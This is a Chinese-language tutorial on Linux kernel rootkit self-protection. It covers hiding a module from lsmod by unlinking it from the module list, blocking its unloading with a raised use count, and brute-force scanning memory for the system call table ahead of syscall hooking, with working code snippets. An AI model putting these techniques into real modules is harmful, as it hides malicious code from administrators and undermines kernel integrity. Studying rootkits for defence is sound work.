rootkit自身隐藏及保护

隐藏自身

先讲讲自身的隐藏,这里主要是用到了以下函数段:

1
2
3
4
module_list = THIS_MODULE->list.prev;

list_del(&THIS_MODULE->list);

其中module_list保存了此模块所在的链表结构体的第一个结构体,即链表的头节点,以便之后的恢复操作

list_del函数将此模块所在的链表结构体的头节点删除,即将代表自身的结构体删除,从而在lsmod命令中隐藏此模块

恢复自身

讲完隐藏,讲讲自身恢复

1
2
list_add(&THIS_MODULE->list, module_list);

这里利用到了list_add函数,将之前保存的module结构体(即之前代表自身的结构体)添加到链表头,从而重新在lsmod命令中可见

保护自身不被删除

保护自身不被删除主要利用了以下代码:

1
2
try_module_get(THIS_MODULE);

利用了try_module_get函数,将模块的使用计数加一,从而使得模块表现为“正在被使用”,由于linux不能卸载正在使用的模块,从而保护自身不被删除

解除保护

解除保护代码:

1
2
module_put(THIS_MODULE); 

利用了module_put函数,将模块的使用计数减一至0,从而将其表示为空闲状态以卸载

rootkit查找系统调用表

首先系统调用表(syscall_table)是存在在内核中的一个数组,里面存放了所有指向系统调用函数的指针,故而rootkit若想hook系统调用,就必须先找到syscall_table在内存当中的地址(在早期的Linux内核中,是通过一个变量SYSCALL_TABLE明确指出其位置的,而在较新的kernel中移除了这一个变量,防止被滥用)

此rootkit采用的是暴力搜索遍历的方式来找到syscall_table,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void **sys_call_table;

void **find_syscall_table(void)
{
void **sctable;
void *i = (void*) START_ADDRESS;

while (i < END_ADDRESS) {
sctable = (void **) i;

if (sctable[__NR_close] == (void *) sys_close) {
size_t j;
const unsigned int SYS_CALL_NUM = 300;
for (j = 0; j < SYS_CALL_NUM; j ++) {
if (sctable[j] == NULL) {
goto skip;
}
}
return sctable;
}
skip:
;
i += sizeof(void *);
}

return NULL;
}

首先我们先要确定一个比syscall_table更高位置的内存来作为起始点(不然你遍历不到),之后我们需要知道一个已经确定位置的函数,这里用到了sys_close函数,这个函数的位置是相对于syscall_table处在更低的内存位置,这样就可以用来标示遍历的终点。

之后将i赋值为内存地址,在每一次遍历中,尝试将i代表的内存地址加上__NR_close(sys_close函数的偏移地址),查看加上偏移地址后的内存中所存放的指针所指向的地址是否指向了sys_close函数的地址,如果是,则代表我们找到了系统调用表的表头,如果不是,那么i加上一个void *的大小(继续推进内存地址),继续进行遍历,直到找到正确的表头